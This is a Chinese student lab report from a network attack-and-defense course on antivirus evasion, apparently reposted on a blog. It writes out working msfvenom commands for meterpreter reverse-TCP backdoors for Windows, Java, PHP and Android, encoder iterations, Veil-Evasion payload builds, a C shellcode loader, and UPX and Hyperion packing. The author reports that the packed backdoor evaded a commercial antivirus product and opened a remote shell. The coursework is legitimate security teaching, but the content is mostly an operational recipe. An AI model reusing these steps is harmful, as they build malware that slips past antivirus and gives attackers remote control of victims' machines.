2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践

基础问题

1.杀软是如何检测出恶意代码的?

  • 基于特征码:如果一个可执行文件(或其他运行的库、脚本等)包含有类似恶意代码的一段或多段数据则被杀软认为是恶意代码。

  • 启发式恶意软件检测:如果一个软件做一些恶意软件通常干的典型例子,就把它当成一个恶意软件。

  • 基于行为的恶意软件检测:在启发式基础上对软件行为进行监控

2.免杀是做什么?

  • 对恶意软件做一些处理,使它不被杀毒软件所检测出来

3.免杀的基本方法有哪些?

  • 改变特征码
    • 只有EXE:加壳
    • 有shellcode:利用shellcode生成可执行文件
    • 有源代码:用其他语言进行重写再编译
  • 改变行为:改变通讯方式或操作模式
  • 利用现有playload手工打造一个后门程序

4.开启杀软能绝对防止电脑中恶意代码吗?

  • 开启杀软不能绝对防止电脑中恶意代码,但可以防止绝大部分的低级的恶意代码。恶意代码技术日新月异,没有一款杀软可以保证说自己能绝对防止电脑中恶意代码。杀软只能记录到某个进程执行操作的异常情况,更新病毒库。

实践一:方法

1. 正确使用msf编码器

  • 使用msfvenom -l encoders查看可以使用的编码器来生成不同的后门,更多的参数可以参考 msfvenom一些基本用法 。

    2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第1张图片

  • 将实验二中用msf命令生成的后门程序放到 VirusTotal 中扫描结果如下

    2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第2张图片

    可以知道后门程序如果不加处理,绝大多数杀软很快就可以识别出来。

  • 使用msf编码器对后门程序进行一次到多次的编码,并进行检测。

    • 一次编码:

      msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.3.101 LPORT=5223 -f exe > 20175223-encoded.exe
      

      -e 选择编码器,-b 是 payload 中需要清除的字符,该命令中为了使 \x00' 不出现在 shellcode 中。

      2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第3张图片

      VirusTotal 中扫描结果如下:

      2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第4张图片

    • 十次编码:

      msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.3.101 LPORT=5223 -f exe > 20175223-encoded_10t.exe
      

      使用 -i 设置迭代次数。

      2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第5张图片

      VirusTotal 中扫描结果如下:

      2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第6张图片

  • 结论:

    对比发现多次编码对于免杀没有太大的帮助 并没有实质变化,因为msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。

2. msfvenom生成如jar之类的其他文件

(1) msfvenom生成jar文件

生成java后门程序:

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.3.101 LPORT=5223 x> 20175223-msf-java.jar

2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第7张图片

VirusTotal 中扫描结果如下:

2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第8张图片

(2) msfvenom生成php文件

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.3.101 lport=5223 x> 20175223-msf-php.php

2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第9张图片

VirusTotal 中扫描结果如下:

2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第10张图片

(3) msfvenom生成apk文件

msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.3.101 lport=523 x> 20175223-msf-apk.apk

2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第11张图片

VirusTotal 中扫描结果如下:

2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第12张图片

3. veil

  • veil 安装过程简单,没有截图。

  • 输入veil ,进入 veil 操作页面。

    2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第13张图片

  • 输入use 1命令进入veil-evasion

    2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第14张图片

  • 输入list进入选项列表

    2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第15张图片

    2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第16张图片

  • 输入命令use 22进入配置界面

    2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第17张图片

  • 设置反弹连接地址和端口

    • set LHOST 192.168.3.101此处为KaliIP
    • set LPORT 5223
    • options 查看选项。

    2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第18张图片

  • 输出保存

    • 输入 generate 生成文件
    • 接着输入你想要payload的名字:veil_powershell_5223
    • 可以看到文件保存路径:/var/lib/veil/output/source/veil_powershell_5223.bat

    2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第19张图片

  • 对生成的veil_powershell_5223.bat后门文件,VirusTotal 中扫描结果如下:

    2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第20张图片

4. 使用C + shellcode编程

  • 使用命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.101 LPORT=5223 -f c 生成一段 shellcode 。

  • 创建一个文件20175223_exp3_sc.c,然后如下代码写入该文件中:

    unsigned char buf[] =
    "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
    ........
    "\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
    
    int main()
    {
            int (*func)() = (int(*)())buf;
            func();
    }
    
  • 使用mingw-w32将c语言文件生成exe文件

    i686-w64-mingw32-g++ NetSec/Exp3/20175223_exp3_sc.c -o
     NetSec/Exp3/20175223_exp3_sc.exe
    

  • 对生成的 20175223_exp3_sc.exe 后门文件,VirusTotal 中扫描结果如下:

    2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第21张图片

  • 当想要使用windows上执行该程序时,被电脑的联想电脑管家隔离。

    2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第22张图片

5.加壳工具

压缩壳 upx:

  • 尝试对上面的shellcode加壳:

    upx NetSec/Exp3/20175223_exp3_sc.exe -o NetSec/Exp3/20175223_exp3_sc_upx.exe
    

    2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第23张图片

  • 对生成的 20175223_exp3_sc_upx.exe 后门文件,VirusTotal 中扫描结果如下:

    2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第24张图片

  • 这时通过进行反弹连接,后门开启,获取了权限。

    2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第25张图片

    联想电脑管家快速扫描 没有扫描出来

    2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第26张图片

加密壳 Hyperion:

  • 进行加壳,将加壳的文件复制到 /usr/share/windows-resources/hyperion/

  • 进入该目录。

  • 输入命令wine hyperion.exe -v 20175223_exp3_sc_upx.exe 20175223_exp3_sc_upx_hyperion.exe

    2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第27张图片

    2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第28张图片

  • 对生成的 20175223_exp3_sc_upx_hyperion.exe 后门文件,VirusTotal 中扫描结果如下:

    2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第29张图片

  • 这时通过进行反弹连接,后门开启,获取了权限。

    2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第30张图片

    同样,联想电脑管家快速扫描 没有扫描出来

6. 使用其他课堂未介绍方法

  • 输入veil ,进入 veil 操作页面。

  • 输入use 1命令进入veil-evasion

  • 输入list进入选项列表

  • 选择 16) go/meterpreter/rev_tcp.py 。进入配置界面

    2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第31张图片

  • 设置反弹连接地址和端口

    • set LHOST 192.168.3.101此处为KaliIP
    • set LPORT 5223
    • options 查看选项。
  • 输出保存

    • 输入 generate 生成文件
    • 接着输入你想要payload的名字:veil_go_5223
    • 可以看到文件保存路径:/var/lib/veil/output/source/veil_go_5223.exe

    2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第32张图片

  • 对生成的veil_go_5223.exe后门文件,VirusTotal 中扫描结果如下:

    2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第33张图片

实践二:通过组合应用各种技术实现恶意代码免杀

方式:

  • 使用 C语言调用shellcode+压缩壳 方式免杀成功并可以回连 。

环境:

  • Windows 10 1909 18363.720

  • 联想电脑管家 2.8.90.11211

    2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第34张图片

    2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践_第35张图片

解析:

  • 使用命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.101 LPORT=5223 -f c 生成一段 shellcode 写入一 C 文件。

  • 使用mingw-w32将c语言文件生成exe文件

    i686-w64-mingw32-g++ NetSec/Exp3/20175223_exp3_sc.c -o
     NetSec/Exp3/20175223_exp3_sc.exe
    
  • 对其加壳:

    upx NetSec/Exp3/20175223_exp3_sc.exe -o NetSec/Exp3/20175223_exp3_sc_upx.exe
    
  • 这时通过进行反弹连接,后门开启,获取了权限。

    联想电脑管家快速扫描 没有扫描出来

实践三:另一电脑实测

用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本 。

实际上,我的虚拟机使用的是桥接模式,前一点 “组合应用” 已经实现本项,现以 Windows 7 虚拟机桥接入网再次实现。

环境:

  • 杀软名称:联想电脑管家 2.8.90.11211
  • 电脑版本:Windows 7 64位

方式:

  • 使用 C语言调用shellcode+压缩壳 方式免杀成功并可以回连 。

结果:

实践总结与体会

这一次的实验非常顺利,无论是veil的安装,还是反弹连接的实现。最重要的是,这次我的 Windows 10 运行 msfvenom 生成的后台程序不再出现兼容性错误。上一次, msfvenom 生成的后台程序无论是x86、x64、x16都不兼容。

这次通过大量的实验和实践,不断学习新的知识,提高自己的网络安全技术的意识。毕竟这次和上次不同,这次是开启了防火墙和杀软,已经是非常现实意义的了。

你可能感兴趣的:(2019-2020-2 20175223 《网络对抗技术》 Exp3 免杀原理与实践)